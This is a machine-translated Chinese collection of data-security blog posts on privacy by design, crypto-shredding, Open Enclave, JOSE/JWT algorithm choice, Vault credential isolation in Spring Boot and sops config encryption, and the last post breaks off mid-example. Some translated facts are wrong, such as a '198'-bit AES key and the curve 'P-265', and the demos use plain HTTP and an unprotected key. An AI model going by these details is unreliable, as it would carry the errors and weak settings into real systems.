但是,虽然这些类型的控制解决了访问和身份的情况,但还有其他需要考虑的方案。并非所有危害数据隐私的安全威胁都来自外部来源。我们必须承认,没有万无一失的解决方案。我们需要考虑如果违反解决方案安全机制或通过忽视或错误暴露数据会发生什么。如果组织的安全性失败或被接管,会发生什么?是否会维护数据控制?如果通过疏忽暴露用户数据会发生什么?
最近的历史有许多大小公司的例子,这些公司可能成为不能充分保护其客户数据的受害者。看到
- List of data breaches in Australia 2018-2019
- Saudi caller ID app exposes 5 million users
- 21 biggest data breaches if 2018
在设计时考虑到数据安全性
从这些示例中学习应该考虑到您的解决方案设计以及操作安全控制。采用“安全设计”原则是加强保护客户数据整体能力的重要方面:
- 仅存储对业务流程至关重要的个人数据。您真的想通过收获和存储您实际不需要的数据来扩大用户影响的风险吗?
- 实现控制和计划,以便在不再需要时销毁数据
- 在不需要用户身份时去识别数据,例如,分析,
- 主动监控日志中的可疑活动(内部和外部)
- 确保生产数据不会用于测试数据。
- 数据存储的分区和分区,因此可以使用不同的密钥或算法分别加密每个数据存储,并减轻单个数据存储违规的影响。
- 定期更新加密密钥和重新加密数据的机制。
- 您真的需要拥有或存储可识别个人身份的数据吗?可以使用代理数据对用户进行分类而不是识别它们吗?
- 解决方案所有者是否了解其在澳大利亚隐私原则下的义务?
当今出现的解决方案越来越多地利用云平台的灵活性和经济性来运行更大的数据集。连接的物联网设备的增长将数据提供给解决方案,再加上机器学习的潜在用途,可以关联不同的数据集,这进一步强化了积极考虑解决方案如何保护用户数据隐私的需求。
人们正在意识到数据隐私的重要性和价值。全面的T&C协议复选框不是忽略解决方案设计隐私或接受不考虑数据隐私的要求的借口。
让真正的数据所有者负责
最终,个人应该是他们私人数据的唯一所有者,并且该所有权可以控制谁拥有他们的数据以及如何使用它们。我们需要解决方案来考虑如何让用户控制他们的数据。随着GDPR,CDR以及数据泄露和信任违规的影响等立法继续在主流渠道中具有很高的知名度,这将成为客户的强制要求。
想象一下,个人维护自己的私有数据平台的解决方案。用户必须具有易于使用的控件,以便为选定的个人和组织生成有限的数据访问密钥,并且可以根据需要或在指定的时间段内撤销数据访问密钥。
这听起来很像OAuth OpenID Connect方法,用户拥有容纳其私有数据的数据平台。根据您对信任的看法,这可能是像Facebook这样的公共平台,但我怀疑有一种易于使用,面向消费者的私有数据平台服务的可能性,使个人能够控制他们的数据共享和访问。
一旦您授予组织访问权限(即使有限),就没有技术手段阻止他们在未经您许可的情况下存储和重新分发您的数据。仍然需要对数据滥用进行适当的政府控制和处罚。
较低的技术门槛不会降低义务
云平台提供丰富的功能,同时降低了进入小型组织的成本。这使得具有高级数据匹配和处理功能的大型数据集可以进入小型公司的业务范围,这些公司的人员数量很少,而且不包括具有不同风险和合规角色的人员。这并没有消除他们保护数据隐私的义务,并且解决方案架构师放大了确保隐私作为解决方案设计的固有元素得到解决的需求。
结论
使用云平台服务构建的解决方案的支持能力以及越来越容易跨数字渠道的集成使我们能够以比传统的内部部署解决方案更低的成本构建功能丰富的解决方案。这减少了进入障碍,但也增加了架构师在设计过程中认真和主动地考虑数据隐私控制和安全性的重要性。
- 43 次浏览
【数据安全】加密切碎
加密粉碎是通过故意删除或覆盖加密密钥来“删除”数据的做法。[1]这要求数据已加密。数据来自以下三种状态:静态数据,传输中的数据和使用中的数据。在CIA保密性,完整性和可用性三元组中,所有三个州都必须得到充分保护。
当信息的机密性受到关注时,像旧备份磁带一样摆脱静态数据,存储在云中的数据,计算机,电话和多功能打印机可能具有挑战性;当加密到位时,它可以平滑地处理数据。机密性和隐私是加密的重要驱动因素。
动机
删除数据的动机可能是:缺陷产品,旧产品,不再使用数据,没有合法权利保留数据等等。法律义务可能来自以下规则:被遗忘的权利,通用数据保护法规等
使用
在某些情况下,所有内容都是加密的(例如硬盘,计算机文件,数据库等),但在其他情况下只有特定数据(例如护照号码,社会安全号码,银行帐号,人名,数据库中的记录等)是加密。此外,一个系统中的相同特定数据可以用另一个系统中的另一个密钥加密。每个数据片段的加密程度越高(使用不同的键),可以将更具体的数据切碎。
示例:iOS设备在激活“擦除所有内容和设置”时通过丢弃“可擦除存储”中的所有密钥来使用加密粉碎。这会使设备上的所有用户数据无法访问。[2]
最佳做法
- 安全地存储加密密钥对于切碎有效非常重要。加密密钥在已被泄露(复制)后被粉碎时无效。可信平台模块解决了这个问题。硬件安全模块是使用和存储加密密钥的最安全方法之一。
- 自带加密是指云计算安全模型,以帮助云服务客户使用自己的加密软件并管理自己的加密密钥。
- Salt:Hashing可能不足以保密,因为哈希总是相同的。例如:特定社会安全号码的哈希值可以通过彩虹表格进行逆向设计。 Salt解决了这个问题。
安全考虑
- 当计算机变得更快或发现缺陷时,加密强度会随着时间的推移而变弱。
- 暴力攻击:如果数据没有充分加密,仍然可以通过强力解密信息。量子计算有可能在未来加速蛮力攻击。[3]然而,量子计算对抗对称加密的效率低于公钥加密。假设使用对称加密,最快的攻击是Grover的算法,可以通过使用更大的密钥来减轻这种影响。[4]
- 正在使用的数据。例如:临时在RAM中使用的(明文)加密密钥可能受到冷启动攻击,硬件高级持续威胁,rootkit / bootkits,计算机硬件供应链攻击以及来自内部人员(员工)的计算机的物理威胁的威胁。
- 数据剩磁:例如:当硬盘上的数据在存储后加密时,硬盘上仍有可能存在未加密的数据。加密数据并不意味着它将覆盖未加密数据的完全相同位置。此外,坏扇区也无法加密。在存储数据之前最好加密。
- 休眠对使用加密密钥构成威胁。当加密密钥加载到RAM中并且机器在此时休眠时,所有内存(包括加密密钥)都存储在硬盘上(加密密钥的安全存储位置之外)。
上述安全问题并非特定于加密粉碎,而是一般适用于加密。除了加密粉碎,数据擦除,消磁和物理粉碎物理设备(磁盘)可以进一步降低风险。
See also
参考
- Crypto-shredding in 'The Official ISC2 Guide to the SSCP CBK' ISBN 1119278651
- ^ Crypto-shredding using effaceable storage in iOS on stanford.edu
- ^ Factsheet post quantum cryptography on ncsc.nl
- ^ Post Quantum-Crypto for dummies on wiley-vch.de
原文:https://en.wikipedia.org/wiki/Crypto-shredding
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 82 次浏览
【数据安全】加密破碎:它如何解决现代数据保留挑战
对于需要高级别密钥安全性保证的场景,密钥可以由中间服务加载,该中间服务代表应用程序加密和解密数据。 这意味着业务应用程序永远不会收到密钥,因此可以更好地保证密钥没有泄露或泄露。 像这样的解决方案的影响是每个受保护数据的序列化,传输和反序列化所涉及的计算和网络开销。 这种方法不适用于除了琐碎的系统之外的所有系统。
图06:一个简单的应用程序,它提取关键操作以提高密钥的安全性。
数据和密钥具有同等重要的价值
解密数据和解密密钥都表示相等的值。泄露的解密数据的影响通常会传达财务,声誉和法律风险。如果泄露了解密密钥,则无法自信地应用加密破碎。如果密钥存在于某处,则加密的个人数据是可恢复的,因此不符合被遗忘权的要求。
个人数据和解密密钥都非常有价值,需要加以保护。因此,将解密密钥与减轻前一示例中的计算和网络负载的应用程序共享是切实可行的。
但是,密钥遍历的范围不应超过内部处理。在与第三方交互时,应共享解密数据,因为客户密钥不应离开组织。第三方可以使用自己的密钥库实现自己的加密碎化实现。如果GDPR适用,它负责确保第三方遵守GDPR要求的组织。
图07:组织是密钥和加密数据的边界。第三方应该接收解密数据 - 它们也可能实现密钥粉碎,但它应该使用自己的密钥。
数据保护服务是可选的,但在较大的应用程序中,它的作用是对关键用途的抽象和审计。
查询数据
由于每个记录都使用自己的密钥进行单独加密 - 持久层无法访问 - 因此查询数据集变得极其困难且性能也很差。为了找到1980年代出生的所有客户,有必要解密每条记录的出生日期字段以识别匹配的客户。这将需要相当于数据库中记录数量的许多密钥。
加密粉碎的目的是让我们有效地擦除个人数据而不必改变历史档案。它不是试图保护静止或传输中的数据 - 还有其他技术可以实现这一目标。
如果数据未持久保存到任何形式的长期备份或存档,则以未加密的形式维护数据是合理的。因此,我们可以将未加密形式的数据复制到系统的缓存层。可以针对此缓存层执行查询。缓存层可以是或可以不是主存储器下面的相同存储技术。
图08:客户数据的解密副本。 这不应该长期存储。
缓存层和主存储库之间的主要区别是可变性和持久性。 应用程序不应直接写入缓存。 只有在数据以加密形式成功写入主存储时,才应更新缓存。 这可确保可以从主存储重建缓存,因此不需要长期持久性。 如果缓存失败,则可以重建它而不会丢失任何数据。 出于可用性目的,应该使用与主存储相同的高可用性要求来处理缓存层。
实现缓存可能看起来像最终的一致性架构。 构建缓存将需要访问密钥来解密数据。
图09:包含用于查询操作的解密数据存储的体系结构中的组件之间的数据流。
对于对最终一致性具有较低容忍度的应用程序,可能需要在大多数时间从主存储中读取。仍然需要对缓存层执行查询,但可以从主存储加载结果。
如果对最终一致性没有容忍度,则应用程序可以在单个分布式事务中写入主存储和缓存。这为应用程序层增加了相当大的存储和事务复杂性。现代系统应该旨在避免这种情况。
分析处理
大多数组织都需要对个人数据进行分析处理。在这些情况下,需要解密数据以构建数据仓库。要实现被遗忘的权利,数据仓库填充过程应检测并删除已删除的个人数据。由于数据仓库将存储解密的个人数据,因此应遵循与密钥存储类似的保留做法。数据仓库应避免存储无法从主存储重建的任何数据。
图10:使用解密的客户数据填充数据仓库的过程。
对于事务处理,可以使用高速缓存来促进数据的查询。 这需要一个完全填充的缓存。 然后,这个相同的缓存将用于重建数据仓库 - 而不是还需要加载密钥和解密记录的ETL。 这将减少处理时间以及密钥库上的耦合。
图11:使用缓存填充数据仓库,减少处理。
其他处理注意事项
法律保留和限制处理
可能存在有效擦除个人数据不可行的情况。这种情况可能涉及法律诉讼,其中法律要求组织保留个人数据,而不管被遗忘的权利如何。在某些情况下,可能有必要在不删除数据的情况下阻止对个人数据的任何进一步处理。
GDPR承认可能无法行使被遗忘权的少数案件,例如:
......不适用于必要的处理范围
(b)遵守法律义务......
(e)设立,行使或辩护法律索偿。
GDPR:第三章,第17条,第3点
GDPR规定客户可以请求暂停数据处理,但数据可能不会被删除。
数据主体有权从控制器获得处理限制......
GDPR:第三章,第18条,第1点
为了解决这些情况,可以修改密钥存储以跟踪被遗忘的权利是否被搁置,或者处理是否受到限制。
图12:用于跟踪受限处理和数据保留保留的示例数据结构。
在此实现中,受限制处理意味着不应使用密钥来解密客户数据以进行正常的日常处理。 它应该只用于解决限制。 保持意味着无法从密钥库中删除密钥。 相反,这也意味着不应从主要商店中删除客户数据。 限制处理和保持可以独立运行 - 也就是说,一个不会强制执行另一个。
图13:处理和保留的限制。
恢复已删除的数据
虽然被遗忘的权利强制个人从组织中删除其数据的权利,但GDPR还对组织提出了保护数据完整性的要求。
“个人数据应采用以下方式处理:使用适当的技术或组织措施(”完整性和机密性“),确保个人数据的适当安全性,包括防止未经授权或非法处理以及意外丢失,破坏或损坏。 “
GDPR:第二章,第5条,第1f点
可以实现被遗忘的权利,同时还使用户能够恢复其数据。这可能适用于客户帐户遭到入侵,提交恶意删除请求或仅仅为客户提供改变主意的时间窗口的情况。
当收到被遗忘的请求权时,组织必须有效地删除数据而不会有不适当的延迟。组织可以通过使用仅为用户知道的短语加密客户密钥来实现此目的。随着时间的推移,组织可以删除加密的密钥,从而消除数据的任何可恢复性。
删除请求后,密钥库可能如下所示:
图14:用于跟踪可恢复删除请求的数据结构示例。
密钥已被删除,并标记为删除。密钥以加密形式存储,其中只有用户知道解密短语。为了防止恶意删除请求,应该生成该短语并通过现有的可信信道(例如,经过验证的电子邮件地址)发送给用户。要恢复用户的数据,将对解密和恢复加密密钥,允许应用程序再次读取客户数据。如果删除日期未恢复密钥,则应删除密钥以及客户的数据。
在原始删除请求的每一点上,组织都有效地擦除了客户的数据 - 因为它无法处理数据。虽然逻辑控制可以实现类似的结果,但它不符合GDPR的要求,它强制执行删除处理而没有不适当的延迟。
真实世界的加密切碎
加密粉碎是一个相对较新的概念,由不断变化的技术和政治环境驱动。数据保留的加密粉碎解决方案解决了GDPR的几个技术上困难的要求。它还为应用程序如何使用和分发个人信息带来了广泛的挑战。每种技术解决方案都有其自身的优点,并将以不同方式满足法规遵从性。加密粉碎应该在法律要求和技术能力之间取得平衡,因为它带来了显着的技术复杂性。随着实施开始存在和发展,加密粉碎和类似解决方案可能会变得司空见惯,就像前几年密码散列和信用卡数据加密一样。加密粉碎是另一种保护现代系统和社会数据的技术。
免责声明:您应该检查您的法律义务以及您的技术实施如何与法律专业人士保持一致。本文不是关于如何实现GDPR合规性的法律建议。
本文:http://pub.intelligentx.net/node/559
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 79 次浏览
【数据安全】可信执行环境:Open Enclave SDK
构建基于可信执行环境的应用程序,通过开源SDK帮助保护使用中的数据,该SDK跨飞地技术以及从云到边缘的所有平台提供一致的API界面。
什么是Open Enclave SDK?
机密计算是一项持续不断的工作,旨在保护数据在其整个生命周期中的静止、传输和使用。通过使用“信任执行环境”,客户可以构建在使用过程中保护数据免受外部访问的应用程序。Open Enclave SDK是一个开源SDK,旨在为开发人员创建一个统一的加密抽象,以构建基于可信执行环境(TEE)的应用程序。随着TEE技术的成熟和不同实现的出现,Open Enclave SDK致力于支持一个API集,该API集允许开发人员一次构建并部署在多个技术平台、从云到混合到边缘的不同环境以及Linux和Windows。
基于可信执行环境(TEE)的应用程序开发
飞地应用程序将自己划分为两个组件(1)不受信任的组件(称为主机)和(2)受信任的部件(称为飞地)。主机组件在不受信任的操作系统上未经修改地运行,而受信任的组件则在TEE实现提供的受保护容器内运行。这些保护措施允许飞地执行安全计算,并保证不会泄露机密。
核心原则
普遍的
- 推广飞地应用程序模型,以最小化硬件/软件特定概念
可插拔的
- 组件化以支持所需的运行时和加密库
标准化
- 删除硬件供应商特定的签名和验证要求
多平台
- 考虑到多个软件平台(Windows和Linux)的设计
可共用的
- 更容易启用可重新分发的应用程序
开放
- 开源和基于安全领域的应用程序开发标准
支持的SDK功能
✔飞地创建和管理
函数调用以管理应用程序中飞地的生命周期
✔飞地测量和识别
飞地测量和身份的表达
✔表达
定义呼入和呼出以及与之相关的数据编组的机制
✔系统原语
飞地运行时公开的系统原语,如线程和内存管理
✔密封
支持秘密持久性的功能
✔证明
支持身份验证的功能
✔运行时和加密库
可插入的库,在一个飞地内提供必要的语言和密码支持
- 131 次浏览
【数据安全】如何为您的应用程序选择JOSE / JWT加密算法
JavaScript Object Signing and Encryption(JOSE)采用了一系列标准加密算法,包括新的Edwards曲线算法(2017年增加)。 那么您应该使用哪种算法来保护您的应用程序中的JSON Web令牌(JWT)或其他对象? 本指南将为您提供做出明智选择的基本标准。 但是,也要咨询该领域的文章,文献和专家,仔细检查您的假设,并确保没有错过任何关键。
常见的数据安全问题
我们保护数据(如令牌)的需求通常源于一个或多个问题:
完整 关注:该数据未被篡改 |
关注:可以验证数据的来源 |
|
|
了解我们所追求的安全方面是选择合适的JOSE算法的第一步。
可用的JOSE算法类
JOSE提供三种不同类型的加密算法,以满足四个安全问题,具有部分重叠的属性:
Integrity | Authentication | Non-repudiation | Confidentiality | |
---|---|---|---|---|
HMAC |
✔ | ✔ | ||
Digital signatures | ✔ | ✔ | ✔ | |
Authenticated encryption | ✔ | ✔ | ✔ |
- HMAC算法:一种特殊的超高效散列(HMAC),用于确保数据的完整性和真实性。 为了计算HMAC,您需要一个密钥。
- 数字签名:提供HMAC的属性,以及加密的不可否认性(允许除签名者之外的其他人检查签名的有效性)。 数字签名基于公钥/私钥加密。 需要公钥/私钥对(RSA类型,椭圆曲线(EC)或Edwards曲线八位字节密钥对(OKP))。
- 经过身份验证的加密:加密数据,同时确保其完整性和真实性(如HMAC)。 JOSE使用公钥/私钥,秘密(共享)密钥和密码提供加密。
1.基于哈希的消息认证码(HMAC)
Provide | Integrity, Authentication |
---|---|
JOSE format | JSON Web Signature (JWS) |
Key type | Secret key |
Algorithms | HMAC with SHA-2:
|
Use cases |
|
Notes |
|
HMAC算法(具有JOSE alg标识符HS256,HS384和HS512)是保护令牌和其他需要发送或存储在外部的信息的理想选择,以便最终由发布应用程序使用。这里的关键问题是确保1)数据恢复时的完整性,2)数据实际上是由我们生成的。
一个很好的例子是使用HMAC安全的JWT来生成无状态会话cookie。 JWT可以包括有关登录用户的ID和其他信息。当Web应用程序收到cookie时,重新计算HMAC并与JWT进行比较。如果两个HMAC不匹配,我们可以假设cookie已被篡改,或者不是我们的。
示例JWT声明了无状态会话cookie:
{
“sub”:“user-12345”,
“email”:“alice@wonderland.net”,
“login_ip”:“172.16.254.1”,
“exp”:1471102267
}
一种常见的误解是消息认证码符合数字签名的要求。他们没有!这是因为验证需要访问用于计算HMAC的原始密钥,并且就其性质而言,您无法与其他人共享该密钥,也无法让他们生成自己的HMAC。如果您想要不可否认性,请使用RSA,EC或EdDSA签名。
2.数字签名
Provide | Integrity, Authentication, Non-repudiation |
---|---|
JOSE format | JSON Web Signature (JWS) |
Key type | Public / private key pair:
|
Algorithms | RSA signature with PKCS #1 and SHA-2:
Edwards-curve DSA signature with SHA-2:
|
Use cases |
|
Notes |
|
数字签名适用于发布令牌,声明,断言和文档,其完整性和真实性必须由其他方验证。
示例用途:
- 由OpenID提供商发布的身份令牌,依赖方需要验证该签名才能登录用户。
- OAuth 2.0服务器发出的访问令牌,资源服务器/ Web API必须在提供请求之前验证。
数字签名仅适用于公钥/私钥:
- 发行者需要在签署JWT或其他对象之前生成公钥/私钥对。
- 签名是使用私钥计算的,私钥必须始终保持安全,否则存在冒充的风险。
- 使用公钥验证JWT或JWS对象的签名。接收者可以发现和下载公钥的方法是特定于应用程序的。例如,OpenID Connect服务器以JWK格式在URL上公布其公钥。
选择哪种数字签名算法?
- 如果您正在寻求广泛的支持,请选择RS256。该算法基于RSA PKCS#1,它仍然是最广泛使用的公钥/私钥加密标准。任何体面的JWT库都应该支持它。 RSxxx签名也需要很少的CPU时间来验证(有利于确保在资源服务器上快速处理访问令牌)。建议的RSA密钥长度为2048位。
- ESxxx签名算法使用椭圆曲线(EC)密码术。它们需要更短的键并产生更小的签名(相当于RSA强度)。 EC签名有一个缺点:他们的验证速度明显较慢。
- 新的Edxxx算法提供了最佳的符号/验证性能组合。特别是签名在2048位RSA上提升62倍,在EC DSA上用P-265曲线提升14倍。
我们有RSA,EC和EdDSA签署的JWT的示例。
3.认证加密
Provide | Confidentiality, Integrity, Authentication |
---|---|
JOSE format | JSON Web Encryption (JWE) |
Key type |
|
Algorithms | Public / private key encryption:
Secret (shared) key encryption:
Password based encryption:
|
Use cases |
|
Notes |
|
JOSE提供以下加密:
- 一个密钥( secret key)。如果你想为自己加密数据。 如果密钥与其他方共享(by some out-of-band mean),它们也可以用它加密数据/解密密文。 请查看上表,了解可用的密钥加密算法。
- 收件人提供的公钥(RSA,EC或OKP)。例如,OpenID Connect提供程序以可发现的URL以JWK格式发布其公钥。然后,收件人可以使用其匹配的私钥解密JWT / JOSE对象。公共/私有密钥加密是在无法或不可行地传送带外密钥的情况下的理想选择(Public / private key cryptography is ideal in situations where communicating a secret key out-of-band is not possible or feasible)。
- 如果要使用您能记住的某些短语加密数据,请使用密码。
JOSE中的加密始终是经过身份验证的,这意味着密文的完整性可以防止被篡改。因此,经过身份验证的加密使得在JSON Web加密(JWE)冗余中嵌套HMAC JWT;仅使用JWE加密。
JWE加密是一个“两步”过程:
- 数据或内容始终使用AES密钥(称为内容加密密钥或CEK)进行加密,并且每个JWT / JWE对象使用不同的CEK。 Nimbus库将自动为您生成此AES密钥,其长度将取决于enc(加密方法)标头参数(例如,“enc”:“A128GCM”将导致生成128位AES密钥)。除了三种AES密钥长度(128,198和256)的选择外,JOSE还支持两种内容加密模式:AxxxCBC-HSxxx和AxxxGCM。 AxxxCBC-HSxxx模式通常得到更广泛的支持。
- 第二步是使用输入密钥(即您提供的密钥,公钥或密码)加密(也称为包装)生成的AES CEK。这由alg JWE头参数指定。如果您想跳过第二步,并直接提供AES CEK,请选择直接加密并指定“alg”:“dir”JWE标头参数。
示例JWE标头,其中内容在GCM模式下使用128位AES加密,而AES CEK本身使用公共RSA密钥加密(使用RSA OAEP加密):
{
“alg”:“RSA-OAEP”,
“enc”:“A128GCM”
}
您可以查看使用RSA公钥加密JWT的示例。
嵌套签名和加密
可以对签名的JWT / JWS对象进行额外加密,从而为数据提供完整性,真实性,不可否认性和机密性。
这是通过简单的嵌套实现的(参见示例):
- JWT使用私有RSA,EC或OKP密钥签名。
- 然后,签名的JWT成为JWE对象的有效载荷(明文),该对象用接收者的公钥(RSA,EC,OKP)加密,或者用双方共享的密钥加密。
处理嵌套的JWT可以向后工作:
- 使用适当的密钥(RSA,EC或OKP的私钥或已建立的密钥)解密JWE对象。
- 然后将提取的有效负载(纯文本)解析为签名的JWT,并使用颁发者的公钥(RSA,EC或OKP)进行验证。
Nimbus JOSE + JWT库提供了一个处理嵌套JWT的完整框架。
OpenID Connect中的算法选择
在给定客户注册的情况下,以下规则可以让您了解哪些ID令牌算法是可行的:
- 具有client_secret的客户端可以接收使用HMAC(其中client_secret用作HMAC密钥)或使用签名(RSA,EC或EdDSA)保护的ID令牌。为了验证RSA,EC或EdDSA签名ID令牌,客户端只需要检索OpenID提供程序的匹配公钥(来自其JWK集URL)。
- 具有client_secret的客户端也可以接收加密的ID令牌,其中client_secret用于从中获取秘密的AES密钥。
- 如果使用HMAC,则发布的client_secrets必须足够长以适合所需的密钥长度。例如,256位client_secret允许HMAC与HS256。
- 为了使客户端能够接收RSA或ECDH加密的ID令牌,它必须具有向OpenID提供者注册的公共RSA,EC或OKP密钥。
- OpenID Connect还允许没有client_secret的客户端。此类客户端需要向OpenID提供程序注册公共RSA,EC或OKP密钥,并使用该密钥在令牌端点进行身份验证(通过JWT)。如上所述,ID令牌可以被加密到该公钥。
原文:https://connect2id.com/products/nimbus-jose-jwt/algorithm-selection-guide
本文:http://pub.intelligentx.net/node/465
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 155 次浏览
【数据安全】如何使用 Vault 在 Spring Boot 中隔离数据库凭证
如今,数据隐私和安全变得至关重要。 因此,我们需要隔离数据库凭证并使其对我们的应用程序/服务透明。
概述
在我的旧帖子中,我写了关于使用 Jasypt 加密数据库凭证的内容。但是我们仍然在属性文件中保留加密值。这意味着,在某些时候,开发人员可以解密该值并读取这些凭据。
但..
从应用程序的角度让它真正透明怎么样?我所说的透明的意思是;该应用程序对凭据一无所知。因此,在这篇博文中,我想从应用程序的角度分享如何保护您的数据库凭据。
我将使用 Hashicorp Vault 作为秘密管理工具。所有数据库凭据都将存储在 Vault 中,我将在引导应用程序时检索这些凭据。
用例
在此用例中,我将创建一个服务并将其命名为 pg_service_1。服务本身将连接到 postgres 数据库,就像任何普通服务一样。但是,不同的是,我不会在属性文件中放置任何数据库凭据配置。相反,它们将保存在 Vault 中。
pg_service_1 会将具有一定有效期的初始令牌传递给 Vault。接下来,通过使用 AppRole 身份验证模式,该服务将在应用程序启动期间使用提取秘密 ID 模式检索数据库凭据。然后虚拟服务将连接到数据库并继续准备好为请求提供服务。
For this purpose, I will have two personas, which are admin and app (pg_service_1).
Admin
第 1 步:启用 AppRole 身份验证并创建 Vault 策略、
# enable approle vault auth enable approle # create secret path vault secrets enable -path=database kv-v2 # database-policy.hcl # Read-only permission on 'database/*' path tee database-policy.hcl <<"EOF" path "database/*" { capabilities = [ "read" ] } EOF vault policy write database database-policy.hcl # database-init-token.hcl # policy for initial token tee database-init-token.hcl <<"EOF" path "auth/approle/*" { capabilities = [ "create", "read", "update" ] } EOF vault policy write database-init-token database-init-token.hcl
Step 2: Write AppRole for pg_service_1
# write approle for pg_service_1 with policy:database and ttl:1h vault write auth/approle/role/pg_service_1 policies="database" token_ttl=1h
Step 3: Store KV Data
# Store kv data tee postgres.txt <<"EOF" { "url": "jdbc:postgresql://10.10.10.10:5432/db", "username": "user", "password": "password" } EOF
vault kv put database/postgres/service_1 @postgres.txt
Step 4: Generate Init Token and Pass It to App
# Generate init token for APP, valid for 3 days vault token create -policy=database-init-token -ttl=72h # Result: s.rMdwZh8udP9HVYmu1SmrSO3F
App
For App, I will use Spring Boot as our pg_service_1.
Step 1: Add vault dependencies in pom.xml
<!-- snippet code --> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-web</artifactId> </dependency> <dependency> <groupId>org.springframework.vault</groupId> <artifactId>spring-vault-core</artifactId> </dependency>
Step 2: application.yml
spring: datasource: type: com.zaxxer.hikari.HikariDataSource driver-class-name: org.postgresql.Driver hikari: poolName: Hikari maximum-pool-size: 5 auto-commit: false connection-test-query: SELECT 1 jpa: database: POSTGRESQL hibernate: ddl-auto: update properties: hibernate.jdbc.lob.non_contextual_creation: true hibernate.connection.provider_disables_autocommit: true vault: appconfig: token: ${TOKEN:default}
Please note I exclude url
, username
and password
under spring.datasouce
key.
Step 3: Configure Spring Vault
@Configuration @ConfigurationProperties(prefix = "vault.appconfig") public class AppConfig extends AbstractVaultConfiguration { private String token; public String getToken() { return this.token; } public void setToken(final String token) { this.token = token; } @Override public ClientAuthentication clientAuthentication() { final VaultToken initialToken = VaultToken.of(token); final AppRoleAuthenticationOptions options = AppRoleAuthenticationOptions .builder() .appRole("pg_service_1") .roleId(RoleId.pull(initialToken)) .secretId(SecretId.pull(initialToken)) .build(); return new AppRoleAuthentication(options, this.restOperations()); } @Override public VaultEndpoint vaultEndpoint() { final VaultEndpoint vaultEndpoint = VaultEndpoint.create("localhost", 8200); vaultEndpoint.setScheme("http"); return vaultEndpoint; } }
AppRole authentication with PULL mechanism.
Step 4: Reconfigure Datasource Configuration
@Primary @Configuration @ConfigurationProperties(prefix = "spring.datasource") public class DataSourceConfig extends DataSourceProperties { @Autowired private AppConfig appConfig; @Override public void afterPropertiesSet() throws Exception { final VaultToken login = this.appConfig.clientAuthentication().login(); final VaultTemplate vaultTemplate = new VaultTemplate(this.appConfig.vaultEndpoint(), new TokenAuthentication(login.getToken())); final VaultKeyValueOperations operations = vaultTemplate.opsForKeyValue("database", KeyValueBackend.versioned()); final Map<String, Object> data = operations.get("postgres/service_1").getData(); this.setUsername((String) data.get("username")); this.setUrl((String) data.get("url")); this.setPassword((String) data.get("password")); super.afterPropertiesSet(); } }
Note: set as @Primary
bean, extends DataSourceProperties
class and override afterPropertiesSet
method.
Step 5: Start Application Using Init Token from Admin-Step 4
# pass init-token using -DTOKEN # init-token: s.rMdwZh8udP9HVYmu1SmrSO3F mvn spring-boot:run -DTOKEN=s.rMdwZh8udP9HVYmu1SmrSO3F
The service should be up and running; with connection to postgres database.
结论
通过使用这种数据库凭证隔离,我们可以确保只有某些人有权访问凭证。 这种方法将使您的 IT 生态系统更加安全、可审核和可控相关用户对生产数据库的访问
- 232 次浏览
【数据安全】如何使用 sops 加密配置文件中的机密
视频号
知识星球
相当长一段时间以来,我一直在寻找一种简单的解决方案来加密配置文件中的密码/秘密(即 Web 应用程序的配置文件中的 mySQL 密码)。 当这些文件分散在工作站文件系统或(希望是私有的)git 存储库中时,这将大大提高实际安全性,其中通常仅以加密形式存在这些秘密就足够了。 完全解密的配置文件通常仅在部署应用程序的服务器上需要。
当然,有许多解决方案可以通过外部服务器或服务(Hashicorp Vault、AWS secrets Manager等)和特定于平台/工具的解决方案(Ansible、Kubernetes、gitlab、Docker(Swarm)等中的机密管理)来正确处理机密。但它们要么增加了依赖外部服务器/服务的复杂性,要么过于特定于域。
我最近偶然发现了Mozilla的sops工具。
“sops 是加密文件的编辑器,支持 YAML、JSON、ENV、INI 和 BINARY 格式,并使用 AWS KMS、GCP KMS、Azure Key Vault 和 PGP 进行加密.”
(sops on github)
所以它的目的是加密/解密配置文件中的敏感值。 虽然它似乎主要是为了与主要云提供商的密钥管理服务集成,但它也可以使用本地安装的 PGP 来完全运行。 因此,本地安装的 sops(这是一个用 Go 编写的独立命令行工具,编译为“只是”单个二进制文件)和 GnuPG 的组合确实可以实现使任何配置文件的行为有点像密码的密码容器的愿景 像keepass这样的管理器:你必须解锁它们才能以明文形式揭示其中包含的秘密。
使用sop的简单工作流程
让我们用sop设置一个最简单的工作流程,对配置文件中的特定机密值进行加密。
Here we have a yaml file with two sensitive keys in clear text: password
and pin
.
$ cat test.yaml username: jonathan.archer password: StarfleetAcademy2184 pin: 1234 description: my login to LCARS
Let’s try to encrypt/decrypt these fields with sops
.
- install gnupg (installers/packages for all relevant platforms are here)
- install the sops command line tool (it’s a single binary file, we can download it from the project’s github releases page and copy it to a
PATH
location, i.e./usr/local/bin
orc:\windows\system32
). - generate a pgp key pair (for this example with no passphrase and no expiration date):
$ gpg --batch --generate-key <<EOF %no-protection Key-Type: default Subkey-Type: default Name-Real: MyApp Config 1 Name-Email: myapp-config-1@mydomain.local Expire-Date: 0 EOF
3. find the public fingerprint for the newly generated key:
$ gpg --list-keys "myapp-config-1@mydomain.local" | grep pub -A 1 | grep -v pub68BC5F69E1F773157BA324C7ECF51418A7705AC9
4. now let’s use sops
to encrypt the sensitive fields in the yaml file:
$ sops --encrypt --in-place --encrypted-regex 'password|pin' --pgp 68BC5F69E1F773157BA324C7ECF51418A7705AC9 test.yaml
or alternatively in a bit more lazy way (without having to copy and paste the fingerprint):
$ sops --encrypt --in-place --encrypted-regex 'password|pin' --pgp `gpg --fingerprint "myapp-config-1@mydomain.local" | grep pub -A 1 | grep -v pub | sed s/\ //g` test.yaml
note: if we would leave out --encrypted-regex
(it’s optional), the values of all keys in the yaml file would get encrypted.
The yaml file now looks like:
$ cat test.yaml username: jonathan.archer password: ENC[AES256_GCM,data:PFzX2Q8mBsBfEDNJlgbTePYQcFM=,iv:FFls0uZktGsD4ueL1FFxXn6PnbqUpyJ5IkKn0FBtwbM=,tag:vIxYtwh/Vf09Omg0yOGRlA==,type:str] pin: ENC[AES256_GCM,data:LfljTQ==,iv:AtEKzJwO2SpZO4xA9KXEAmVuSOCkteSU5knc50SK7Uw=,tag:p9dZ7MMi+FyR72HQqmUKgg==,type:int] description: my login to LCARS sops: ...
To decrypt it to STDOUT (cat
